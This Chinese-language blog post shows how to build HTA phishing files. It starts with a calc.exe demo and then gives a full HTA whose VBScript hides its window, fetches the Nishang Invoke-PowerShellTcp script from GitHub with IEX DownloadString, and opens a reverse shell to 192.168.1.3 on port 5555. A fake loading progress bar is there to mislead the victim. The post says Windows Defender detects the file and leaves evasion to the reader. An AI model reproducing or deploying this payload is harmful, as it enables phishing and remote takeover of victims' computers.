hta钓鱼+powerhshell上线

作者: 身自在 | 来源:发表于2018-07-19 21:01 被阅读16次

HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件。虽然HTA和HTML一样,都包含了js,css等,但是HTA的权限却非常大。这里来使用powershell来配合hta钓鱼。

<html>
<head>
<title>hello</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes">
</head>
<body>
<center>
<br>
<h1>hta test</h1>
<br>
<h2>calc</h2>
<br>
</center>
<script language="VBScript">
Set test = CreateObject("Wscript.Shell")
test.Run "calc.exe"
</script>
</body>
</html>

这是一个简单的hta,双击之后会调用vbs来执行命令,弹窗计算机,如图:

image.png
这样就成功的弹出了计算器,接下来将calc替换成powershell版的反弹shell payload即可。
这里采用的nishang的代码,详情见https://github.com/samratashok/nishang
下面的vbhide参数是为了隐藏powershell的弹窗,但是经本地测试会被windows defender查杀,这个仁者见仁,自己处理。
<title>hta+powershell</title>
<center>
<h1>hta+powershell test</h1>
<br>
<h2>Loading...</h2>
<br>
[<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]35%
<br>
</center>
<script language="VBScript">
Set test = CreateObject("Wscript.Shell")
test.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.3 -port 5555",vbhide
</script>

完整结果:


image.png

相关文章

网友评论

    本文标题:hta钓鱼+powerhshell上线

    本文链接:https://www.haomeiwen.com/subject/wplxmftx.html